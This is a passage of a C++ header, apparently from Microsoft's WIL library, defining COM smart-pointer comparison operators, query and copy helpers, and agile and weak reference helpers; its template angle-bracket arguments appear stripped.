com_ptr_t& right) WI_NOEXCEPT\n { return (!(right == nullptr)); }\n\n // WRL ComPtr support\n\n template \n inline void swap(com_ptr_t& left, Microsoft::WRL::ComPtr& right) WI_NOEXCEPT\n {\n left.swap(right);\n }\n\n template \n inline bool operator==(const com_ptr_t& left, const Microsoft::WRL::ComPtr& right) WI_NOEXCEPT\n {\n static_assert(__is_convertible_to(TLeft*, TRight*) || __is_convertible_to(TRight*, TLeft*), \"comparison operator requires left and right pointers to be compatible\");\n return (left.get() == right.Get());\n }\n\n template \n inline bool operator<(const com_ptr_t& left, const Microsoft::WRL::ComPtr& right) WI_NOEXCEPT\n {\n static_assert(__is_convertible_to(TLeft*, TRight*) || __is_convertible_to(TRight*, TLeft*), \"comparison operator requires left and right pointers to be compatible\");\n return (left.get() < right.Get());\n }\n\n template \n inline bool operator!=(const com_ptr_t& left, const Microsoft::WRL::ComPtr& right) WI_NOEXCEPT\n { return (!(left == right)); }\n\n template \n inline bool operator>=(const com_ptr_t& left, const Microsoft::WRL::ComPtr& right) WI_NOEXCEPT\n { return (!(left < right)); }\n\n template \n inline bool operator>(const com_ptr_t& left, const Microsoft::WRL::ComPtr& right) WI_NOEXCEPT\n { return (right < left); }\n\n template \n inline bool operator<=(const com_ptr_t& left, const Microsoft::WRL::ComPtr& right) WI_NOEXCEPT\n { return (!(right < left)); }\n\n template \n inline void swap(Microsoft::WRL::ComPtr& left, com_ptr_t& right) WI_NOEXCEPT\n {\n right.swap(left);\n }\n\n template \n inline bool operator==(const Microsoft::WRL::ComPtr& left, const com_ptr_t& right) WI_NOEXCEPT\n {\n static_assert(__is_convertible_to(TLeft*, TRight*) || __is_convertible_to(TRight*, TLeft*), \"comparison operator requires left and right pointers to be compatible\");\n return (left.Get() == right.get());\n }\n\n template \n inline bool operator<(const Microsoft::WRL::ComPtr& left, const com_ptr_t& right) WI_NOEXCEPT\n {\n static_assert(__is_convertible_to(TLeft*, TRight*) || __is_convertible_to(TRight*, TLeft*), \"comparison operator requires left and right pointers to be compatible\");\n return (left.Get() < right.get());\n }\n\n template \n inline bool operator!=(const Microsoft::WRL::ComPtr& left, const com_ptr_t& right) WI_NOEXCEPT\n { return (!(left == right)); }\n\n template \n inline bool operator>=(const Microsoft::WRL::ComPtr& left, const com_ptr_t& right) WI_NOEXCEPT\n { return (!(left < right)); }\n\n template \n inline bool operator>(const Microsoft::WRL::ComPtr& left, const com_ptr_t& right) WI_NOEXCEPT\n { return (right < left); }\n\n template \n inline bool operator<=(const Microsoft::WRL::ComPtr& left, const com_ptr_t& right) WI_NOEXCEPT\n { return (!(right < left)); }\n\n // raw COM pointer support\n //\n // Use these for convenience and to avoid unnecessary AddRef/Release cyles when using raw\n // pointers to access STL containers. Specify std::less<> to benefit from operator<.\n //\n // Example: std::set, std::less<>> set;\n\n template \n inline bool operator==(const com_ptr_t& left, TRight* right) WI_NOEXCEPT\n {\n static_assert(__is_convertible_to(TLeft*, TRight*) || __is_convertible_to(TRight*, TLeft*), \"comparison operator requires left and right pointers to be compatible\");\n return (left.get() == right);\n }\n\n template \n inline bool operator<(const com_ptr_t& left, TRight* right) WI_NOEXCEPT\n {\n static_assert(__is_convertible_to(TLeft*, TRight*) || __is_convertible_to(TRight*, TLeft*), \"comparison operator requires left and right pointers to be compatible\");\n return (left.get() < right);\n }\n\n template \n inline bool operator!=(const com_ptr_t& left, TRight* right) WI_NOEXCEPT\n { return (!(left == right)); }\n\n template \n inline bool operator>=(const com_ptr_t& left, TRight* right) WI_NOEXCEPT\n { return (!(left < right)); }\n\n template \n inline bool operator>(const com_ptr_t& left, TRight* right) WI_NOEXCEPT\n { return (right < left); }\n\n template \n inline bool operator<=(const com_ptr_t& left, TRight* right) WI_NOEXCEPT\n { return (!(right < left)); }\n\n template \n inline bool operator==(TLeft* left, const com_ptr_t& right) WI_NOEXCEPT\n {\n static_assert(__is_convertible_to(TLeft*, TRight*) || __is_convertible_to(TRight*, TLeft*), \"comparison operator requires left and right pointers to be compatible\");\n return (left == right.get());\n }\n\n template \n inline bool operator<(TLeft* left, const com_ptr_t& right) WI_NOEXCEPT\n {\n static_assert(__is_convertible_to(TLeft*, TRight*) || __is_convertible_to(TRight*, TLeft*), \"comparison operator requires left and right pointers to be compatible\");\n return (left < right.get());\n }\n\n template \n inline bool operator!=(TLeft* left, const com_ptr_t& right) WI_NOEXCEPT\n { return (!(left == right)); }\n\n template \n inline bool operator>=(TLeft* left, const com_ptr_t& right) WI_NOEXCEPT\n { return (!(left < right)); }\n\n template \n inline bool operator>(TLeft* left, const com_ptr_t& right) WI_NOEXCEPT\n { return (right < left); }\n\n template \n inline bool operator<=(TLeft* left, const com_ptr_t& right) WI_NOEXCEPT\n { return (!(right < left)); }\n\n // suppress documentation of every single comparison operator\n /// @endcond\n\n\n //! An overloaded function that retrieves the raw com pointer from a raw pointer, wil::com_ptr_t, WRL ComPtr, or Platform::Object^.\n //! This function is primarily useful by library or helper code. It allows code to be written to accept a forwarding reference\n //! template that can be used as an input com pointer. That input com pointer is allowed to be any of:\n //! * Raw Pointer: `T* com_raw_ptr(T* ptr)`\n //! * Wil com_ptr: `T* com_raw_ptr(const wil::com_ptr_t& ptr)`\n //! * WRL ComPtr: `T* com_raw_ptr(const Microsoft::WRL::ComPtr& ptr)`\n //! * C++/CX hat: `IInspectable* com_raw_ptr(Platform::Object^ ptr)`\n //!\n //! Which in turn allows code like the following to be written:\n //! ~~~~\n //! template \n //! void com_query_to(T&& ptrSource, _COM_Outptr_ U** ptrResult)\n //! {\n //! auto raw = com_raw_ptr(wistd::forward(ptrSource));\n //! // decltype(raw) has the type of the inner pointer and raw is guaranteed to be a raw com pointer\n //! ~~~~\n template \n T* com_raw_ptr(T* ptr)\n {\n return ptr;\n }\n\n /// @cond\n template \n T* com_raw_ptr(const wil::com_ptr_t& ptr)\n {\n return ptr.get();\n }\n\n template \n T* com_raw_ptr(const Microsoft::WRL::ComPtr& ptr)\n {\n return ptr.Get();\n }\n\n#ifdef __cplusplus_winrt\n\n template \n inline IInspectable* com_raw_ptr(T^ ptr)\n {\n return reinterpret_cast(static_cast<::Platform::Object^>(ptr));\n }\n\n#endif\n /// @endcond\n\n\n //! @name Stand-alone query helpers\n //! * Source pointer can be raw interface pointer, any wil com_ptr, or WRL ComPtr\n //! * Retrieves the requested interface\n //! * AV if the source pointer is null\n //! * Produce an error if the requested interface is unsupported\n //!\n //! See @ref page_query for more information\n //! @{\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n //! Queries for the specified interface and returns an exception-based wil::com_ptr to that interface (exception if unsupported).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null\n //! @tparam U Represents the interface being queried\n //! @return A `wil::com_ptr` pointer to the given interface `U`. The returned pointer is guaranteed not null.\n template \n inline com_ptr com_query(T&& ptrSource)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n return com_ptr(raw, details::tag_com_query());\n }\n#endif\n\n //! Queries for the specified interface and returns a fail-fast-based wil::com_ptr_failfast to that interface (fail-fast if unsupported).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null\n //! @tparam U Represents the interface being queried\n //! @return A `wil::com_ptr` pointer to the given interface `U`. The returned pointer is guaranteed not null.\n template \n inline com_ptr_failfast com_query_failfast(T&& ptrSource)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n return com_ptr_failfast(raw, details::tag_com_query());\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n //! Queries for the interface specified by the type of the output parameter (throws an exception if unsupported).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null\n //! @param ptrResult Represents the output pointer to populate. The returned pointer is guaranteed not null.\n template \n _Success_true_ void com_query_to(T&& ptrSource, _COM_Outptr_ U** ptrResult)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n THROW_IF_FAILED(details::query_policy_t::query(raw, ptrResult));\n __analysis_assume(*ptrResult != nullptr);\n }\n#endif\n\n //! Queries for the interface specified by the type of the output parameter (fail-fast if unsupported).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null\n //! @param ptrResult Represents the output pointer to populate. The returned pointer is guaranteed not null.\n template \n _Success_true_ void com_query_to_failfast(T&& ptrSource, _COM_Outptr_ U** ptrResult)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n FAIL_FAST_IF_FAILED(details::query_policy_t::query(raw, ptrResult));\n __analysis_assume(*ptrResult != nullptr);\n }\n\n //! Queries for the interface specified by the type of the output parameter (returns an error if unsupported).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null\n //! @param ptrResult Represents the output pointer to populate. The returned pointer will be null upon failure.\n //! @return Returns an HRESULT representing whether the query succeeded.\n template \n HRESULT com_query_to_nothrow(T&& ptrSource, _COM_Outptr_ U** ptrResult)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n auto hr = details::query_policy_t::query(raw, ptrResult);\n __analysis_assume(SUCCEEDED(hr) || (*ptrResult == nullptr));\n RETURN_HR(hr);\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n //! Queries for the interface specified by the given REFIID parameter (throws an exception if unsupported).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null\n //! @param riid The interface to query for\n //! @param ptrResult Represents the output pointer to populate. The returned pointer is guaranteed not null.\n template \n _Success_true_ void com_query_to(T&& ptrSource, REFIID riid, _COM_Outptr_ void** ptrResult)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n THROW_IF_FAILED(details::query_policy_t::query(raw, riid, ptrResult));\n __analysis_assume(*ptrResult != nullptr);\n }\n#endif\n\n //! Queries for the interface specified by the given REFIID parameter (fail-fast if unsupported).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null\n //! @param riid The interface to query for\n //! @param ptrResult Represents the output pointer to populate. The returned pointer is guaranteed not null.\n template \n _Success_true_ void com_query_to_failfast(T&& ptrSource, REFIID riid, _COM_Outptr_ void** ptrResult)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n FAIL_FAST_IF_FAILED(details::query_policy_t::query(raw, riid, ptrResult));\n __analysis_assume(*ptrResult != nullptr);\n }\n\n //! Queries for the interface specified by the given REFIID parameter (returns an error if unsupported).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null\n //! @param riid The interface to query for\n //! @param ptrResult Represents the output pointer to populate. The returned pointer will be null upon failure.\n template \n HRESULT com_query_to_nothrow(T&& ptrSource, REFIID riid, _COM_Outptr_ void** ptrResult)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n auto hr = details::query_policy_t::query(raw, riid, ptrResult);\n __analysis_assume(SUCCEEDED(hr) || (*ptrResult == nullptr));\n RETURN_HR(hr);\n }\n //! @}\n\n //! @name Stand-alone try query helpers\n //! * Source pointer can be raw interface pointer, any wil com_ptr, or WRL ComPtr\n //! * Attempts to retrieves the requested interface\n //! * AV if the source pointer is null\n //! * Produce null if the requested interface is unsupported\n //! * bool returns 'true' when query was successful (non-null return result)\n //!\n //! See @ref page_query for more information.\n //! @{\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n //! Attempts a query for the specified interface and returns an exception-based wil::com_ptr to that interface (returns null if unsupported).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null\n //! @tparam U Represents the interface being queried\n //! @return A `wil::com_ptr` pointer to the given interface `U`. The returned pointer is null if the requested interface was not supported.\n template \n inline com_ptr try_com_query(T&& ptrSource)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n return com_ptr(raw, details::tag_try_com_query());\n }\n#endif\n\n //! Attempts a query for the specified interface and returns an fail-fast wil::com_ptr_failfast to that interface (returns null if unsupported).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null\n //! @tparam U Represents the interface being queried\n //! @return A `wil::com_ptr_failfast` pointer to the given interface `U`. The returned pointer is null if the requested interface was not supported.\n template \n inline com_ptr_failfast try_com_query_failfast(T&& ptrSource)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n return com_ptr_failfast(raw, details::tag_try_com_query());\n }\n\n //! Attempts a query for the specified interface and returns an error-code-based wil::com_ptr_nothrow to that interface (returns null if unsupported).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null\n //! @tparam U Represents the interface being queried\n //! @return A `wil::com_ptr_nothrow` pointer to the given interface `U`. The returned pointer is null if the requested interface was not supported.\n template \n inline com_ptr_nothrow try_com_query_nothrow(T&& ptrSource)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n return com_ptr_nothrow(raw, details::tag_try_com_query());\n }\n\n //! Attempts a query for the interface specified by the type of the output parameter (returns `false` if unsupported).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null.\n //! @param ptrResult Represents the output pointer to populate. If the interface is unsupported, the returned pointer will be null.\n //! @return A bool value representing whether the query was successful (non-null return result).\n template \n _Success_return_ bool try_com_query_to(T&& ptrSource, _COM_Outptr_ U** ptrResult)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n return (SUCCEEDED(details::query_policy_t::query(raw, ptrResult)));\n }\n\n //! Attempts a query for the interface specified by the type of the output parameter (returns `false` if unsupported).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null.\n //! @param riid The interface to query for\n //! @param ptrResult Represents the output pointer to populate. If the interface is unsupported, the returned pointer will be null.\n //! @return A bool value representing whether the query was successful (non-null return result).\n template \n _Success_return_ bool try_com_query_to(T&& ptrSource, REFIID riid, _COM_Outptr_ void** ptrResult)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n return (SUCCEEDED(details::query_policy_t::query(raw, riid, ptrResult)));\n }\n //! @}\n\n\n //! @name Stand-alone copy helpers\n //! * Source pointer can be raw interface pointer, any wil com_ptr, or WRL ComPtr\n //! * Retrieves the requested interface\n //! * Succeeds with null if the source pointer is null\n //! * Produce an error if the requested interface is unsupported\n //!\n //! See @ref page_query for more information\n //! @{\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n //! Queries for the specified interface and returns an exception-based wil::com_ptr to that interface (exception if unsupported, preserves null).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null\n //! @tparam U Represents the interface being queried\n //! @return A `wil::com_ptr` pointer to the given interface `U`. The returned pointer will be null only if the source is null.\n template \n inline com_ptr com_copy(T&& ptrSource)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n return com_ptr(raw, details::tag_com_copy());\n }\n#endif\n\n //! Queries for the specified interface and returns a fail-fast-based wil::com_ptr_failfast to that interface (fail-fast if unsupported, preserves null).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null\n //! @tparam U Represents the interface being queried\n //! @return A `wil::com_ptr` pointer to the given interface `U`. The returned pointer will be null only if the source is null.\n template \n inline com_ptr_failfast com_copy_failfast(T&& ptrSource)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n return com_ptr_failfast(raw, details::tag_com_copy());\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n //! Queries for the interface specified by the type of the output parameter (throws an exception if unsupported, preserves null).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null\n //! @param ptrResult Represents the output pointer to populate. The returned pointer will be null only if the source is null.\n template \n _Success_true_ void com_copy_to(T&& ptrSource, _COM_Outptr_result_maybenull_ U** ptrResult)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n if (raw)\n {\n THROW_IF_FAILED(details::query_policy_t::query(raw, ptrResult));\n return;\n }\n *ptrResult = nullptr;\n }\n#endif\n\n //! Queries for the interface specified by the type of the output parameter (fail-fast if unsupported, preserves null).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null\n //! @param ptrResult Represents the output pointer to populate. The returned pointer will be null only if the source is null.\n template \n _Success_true_ void com_copy_to_failfast(T&& ptrSource, _COM_Outptr_result_maybenull_ U** ptrResult)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n if (raw)\n {\n FAIL_FAST_IF_FAILED(details::query_policy_t::query(raw, ptrResult));\n return;\n }\n *ptrResult = nullptr;\n }\n\n //! Queries for the interface specified by the type of the output parameter (returns an error if unsupported, preserves null).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null\n //! @param ptrResult Represents the output pointer to populate. The returned pointer will be null upon failure or if the source is null.\n //! @return Returns an HRESULT representing whether the query succeeded (returns S_OK if the source is null).\n template \n HRESULT com_copy_to_nothrow(T&& ptrSource, _COM_Outptr_result_maybenull_ U** ptrResult)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n if (raw)\n {\n RETURN_HR(details::query_policy_t::query(raw, ptrResult));\n }\n *ptrResult = nullptr;\n return S_OK;\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n //! Queries for the interface specified by the given REFIID parameter (throws an exception if unsupported, preserves null).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null\n //! @param riid The interface to query for\n //! @param ptrResult Represents the output pointer to populate. The returned pointer will be null only if the source is null.\n template \n _Success_true_ void com_copy_to(T&& ptrSource, REFIID riid, _COM_Outptr_result_maybenull_ void** ptrResult)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n if (raw)\n {\n THROW_IF_FAILED(details::query_policy_t::query(raw, riid, ptrResult));\n return;\n }\n *ptrResult = nullptr;\n }\n#endif\n\n //! Queries for the interface specified by the given REFIID parameter (fail-fast if unsupported, preserves null).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null\n //! @param riid The interface to query for\n //! @param ptrResult Represents the output pointer to populate. The returned pointer will be null only if the source is null.\n template \n _Success_true_ void com_copy_to_failfast(T&& ptrSource, REFIID riid, _COM_Outptr_result_maybenull_ void** ptrResult)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n if (raw)\n {\n FAIL_FAST_IF_FAILED(details::query_policy_t::query(raw, riid, ptrResult));\n return;\n }\n *ptrResult = nullptr;\n }\n\n //! Queries for the interface specified by the given REFIID parameter (returns an error if unsupported, preserves null).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null\n //! @param riid The interface to query for\n //! @param ptrResult Represents the output pointer to populate. The returned pointer will be null upon failure or if the source is null.\n //! @return Returns an HRESULT representing whether the query succeeded (returns S_OK if the source is null).\n template \n HRESULT com_copy_to_nothrow(T&& ptrSource, REFIID riid, _COM_Outptr_result_maybenull_ void** ptrResult)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n if (raw)\n {\n RETURN_HR(details::query_policy_t::query(raw, riid, ptrResult));\n }\n *ptrResult = nullptr;\n return S_OK;\n }\n //! @}\n\n\n //! @name Stand-alone try copy helpers\n //! * Source pointer can be raw interface pointer, any wil com_ptr, or WRL ComPtr\n //! * Attempts to retrieves the requested interface\n //! * Succeeds with null if the source pointer is null\n //! * Produce null if the requested interface is unsupported\n //! * bool returns 'true' when query was successful (non-null return result)\n //!\n //! See @ref page_query for more information.\n //! @{\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n //! Attempts a query for the specified interface and returns an exception-based wil::com_ptr to that interface (returns null if unsupported, preserves null).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null\n //! @tparam U Represents the interface being queried\n //! @return A `wil::com_ptr` pointer to the given interface `U`. The returned pointer is null if the requested interface was not supported.\n template \n inline com_ptr try_com_copy(T&& ptrSource)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n return com_ptr(raw, details::tag_try_com_copy());\n }\n#endif\n\n //! Attempts a query for the specified interface and returns an fail-fast wil::com_ptr_failfast to that interface (returns null if unsupported, preserves null).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null\n //! @tparam U Represents the interface being queried\n //! @return A `wil::com_ptr_failfast` pointer to the given interface `U`. The returned pointer is null if the requested interface was not supported.\n template \n inline com_ptr_failfast try_com_copy_failfast(T&& ptrSource)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n return com_ptr_failfast(raw, details::tag_try_com_copy());\n }\n\n //! Attempts a query for the specified interface and returns an error-code-based wil::com_ptr_nothrow to that interface (returns null if unsupported, preserves null).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null\n //! @tparam U Represents the interface being queried\n //! @return A `wil::com_ptr_nothrow` pointer to the given interface `U`. The returned pointer is null if the requested interface was not supported.\n template \n inline com_ptr_nothrow try_com_copy_nothrow(T&& ptrSource)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n return com_ptr_nothrow(raw, details::tag_try_com_copy());\n }\n\n //! Attempts a query for the interface specified by the type of the output parameter (returns `false` if unsupported, preserves null).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null.\n //! @param ptrResult Represents the output pointer to populate. If the interface is unsupported, the returned pointer will be null.\n //! @return A bool value representing whether the query was successful (non-null return result).\n template \n _Success_return_ bool try_com_copy_to(T&& ptrSource, _COM_Outptr_result_maybenull_ U** ptrResult)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n if (raw)\n {\n return SUCCEEDED(details::query_policy_t::query(raw, ptrResult));\n }\n *ptrResult = nullptr;\n return false;\n }\n\n //! Attempts a query for the interface specified by the type of the output parameter (returns `false` if unsupported, preserves null).\n //! See @ref page_query for more information.\n //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), may be null.\n //! @param riid The interface to query for\n //! @param ptrResult Represents the output pointer to populate. If the interface is unsupported, the returned pointer will be null.\n //! @return A bool value representing whether the query was successful (non-null return result).\n template \n _Success_return_ bool try_com_copy_to(T&& ptrSource, REFIID riid, _COM_Outptr_result_maybenull_ void** ptrResult)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n if (raw)\n {\n return SUCCEEDED(details::query_policy_t::query(raw, riid, ptrResult));\n }\n *ptrResult = nullptr;\n return false;\n }\n //! @}\n\n#ifdef __cplusplus_winrt\n //! @name Stand-alone helpers to query for CX ref (\"hat\") types from ABI COM types.\n //! * Source pointer can be raw interface pointer, any wil com_ptr, or WRL ComPtr\n //! * Retrieves the requested C++/CX interface or ref class.\n //! * Preserves null if the source pointer is null\n //! * Produce an error if the requested interface is unsupported\n //!\n //! See @ref page_query for more information\n //! @{\n\n template \n ::Platform::Object^ cx_object_from_abi(T&& ptr) WI_NOEXCEPT\n {\n IInspectable* const inspectable = com_raw_ptr(wistd::forward(ptr));\n return reinterpret_cast<::Platform::Object^>(inspectable);\n }\n\n template \n inline U^ cx_safe_cast(T&& ptrSource)\n {\n return safe_cast(cx_object_from_abi(wistd::forward(ptrSource)));\n }\n\n template \n inline U^ cx_dynamic_cast(T&& ptrSource) WI_NOEXCEPT\n {\n return dynamic_cast(cx_object_from_abi(wistd::forward(ptrSource)));\n }\n //! @}\n#endif\n\n\n //*****************************************************************************\n // Agile References\n //*****************************************************************************\n\n#if (NTDDI_VERSION >= NTDDI_WINBLUE)\n#ifdef WIL_ENABLE_EXCEPTIONS\n //! Agile reference to a COM interface, errors throw exceptions (see @ref com_ptr_t and @ref com_agile_query for details)\n using com_agile_ref = com_ptr;\n#endif\n //! Agile reference to a COM interface, errors return error codes (see @ref com_ptr_t and @ref com_agile_query_nothrow for details)\n using com_agile_ref_nothrow = com_ptr_nothrow;\n //! Agile reference to a COM interface, errors fail fast (see @ref com_ptr_t and @ref com_agile_query_failfast for details)\n using com_agile_ref_failfast = com_ptr_failfast;\n\n //! @name Create agile reference helpers\n //! * Attempts to retrieve an agile reference to the requested interface (see [RoGetAgileReference](https://msdn.microsoft.com/en-us/library/dn269839.aspx))\n //! * Source pointer can be raw interface pointer, any wil com_ptr, or WRL ComPtr\n //! * `query` methods AV if the source pointer is null\n //! * `copy` methods succeed with null if the source pointer is null\n //! * Accept optional [AgileReferenceOptions](https://msdn.microsoft.com/en-us/library/dn269836.aspx)\n //!\n //! See @ref page_query for more information on resolving an agile ref\n //! @{\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n //! return a com_agile_ref representing the given source pointer (throws an exception on failure)\n template \n com_agile_ref com_agile_query(T&& ptrSource, AgileReferenceOptions options = AGILEREFERENCE_DEFAULT)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n com_agile_ref agileRef;\n THROW_IF_FAILED(::RoGetAgileReference(options, __uuidof(raw), raw, &agileRef));\n return agileRef;\n }\n#endif\n\n //! return a com_agile_ref_failfast representing the given source pointer (fail-fast on failure)\n template \n com_agile_ref_failfast com_agile_query_failfast(T&& ptrSource, AgileReferenceOptions options = AGILEREFERENCE_DEFAULT)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n com_agile_ref_failfast agileRef;\n FAIL_FAST_IF_FAILED(::RoGetAgileReference(options, __uuidof(raw), raw, &agileRef));\n return agileRef;\n }\n\n //! return a com_agile_ref_nothrow representing the given source pointer (returns an HRESULT on failure)\n template \n HRESULT com_agile_query_nothrow(T&& ptrSource, _COM_Outptr_ IAgileReference** ptrResult, AgileReferenceOptions options = AGILEREFERENCE_DEFAULT)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n auto hr = ::RoGetAgileReference(options, __uuidof(raw), raw, ptrResult);\n __analysis_assume(SUCCEEDED(hr) || (*ptrResult == nullptr));\n RETURN_HR(hr);\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n //! return a com_agile_ref representing the given source pointer (throws an exception on failure, source maybe null)\n template \n com_agile_ref com_agile_copy(T&& ptrSource, AgileReferenceOptions options = AGILEREFERENCE_DEFAULT)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n com_agile_ref agileRef;\n if (raw)\n {\n THROW_IF_FAILED(::RoGetAgileReference(options, __uuidof(raw), raw, &agileRef));\n }\n return agileRef;\n }\n#endif\n\n //! return a com_agile_ref_failfast representing the given source pointer (fail-fast on failure, source maybe null)\n template \n com_agile_ref_failfast com_agile_copy_failfast(T&& ptrSource, AgileReferenceOptions options = AGILEREFERENCE_DEFAULT)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n com_agile_ref_failfast agileRef;\n if (raw)\n {\n FAIL_FAST_IF_FAILED(::RoGetAgileReference(options, __uuidof(raw), raw, &agileRef));\n }\n return agileRef;\n }\n\n //! return an agile ref (com_agile_ref_XXX or other representation) representing the given source pointer (return error on failure, source maybe null)\n template \n HRESULT com_agile_copy_nothrow(T&& ptrSource, _COM_Outptr_result_maybenull_ IAgileReference** ptrResult, AgileReferenceOptions options = AGILEREFERENCE_DEFAULT)\n {\n auto raw = com_raw_ptr(wistd::forward(ptrSource));\n if (raw)\n {\n RETURN_HR(::RoGetAgileReference(options, __uuidof(raw), raw, ptrResult));\n }\n *ptrResult = nullptr;\n return S_OK;\n }\n //! @}\n#endif\n\n //*****************************************************************************\n // Weak References\n //*****************************************************************************\n\n namespace details\n {\n template \n HRESULT GetWeakReference(T* ptr, _COM_Outptr_ IWeakReference** weakReference)\n {\n static_assert(!wistd::is_same::value, \"Cannot get an IWeakReference to an IWeakReference\");\n\n *weakReference = nullptr;\n com_ptr_nothrow source;\n HRESULT hr = ptr->QueryInterface(IID_PPV_ARGS(&source));\n if (SUCCEEDED(hr))\n {\n hr = source->GetWeakReference(weakReference);\n }\n return hr;\n }\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n //! Weak reference to a COM interface, errors throw exceptions (see @ref com_ptr_t and @ref com_weak_query for details)\n using com_weak_ref = com_ptr;\n#endif\n //! Weak reference to a COM interface, errors return error codes (see @ref com_ptr_t and @ref com_weak_query_nothrow for details)\n using com_weak_ref_nothrow = com_ptr_nothrow;\n //! Weak reference to a COM interface, errors fail fast (see @ref com_ptr_t and @ref com_weak_query_failfast for details)\n using com_weak_ref_failfast = com_ptr_failfast;\n\n //! @name Create weak reference helpers\n //! * Attempts to retrieve a weak reference to the requested interface (see WRL's similar [WeakRef](https://msdn.microsoft.com/en-us/library/br244853.aspx))\n //! * Source pointer can be raw interface pointer, any wil com_ptr, or WRL ComPtr\n //! * `query` methods AV if the source pointer is null\n //! * `copy` methods succeed with null if the source pointer is null\n //!\n 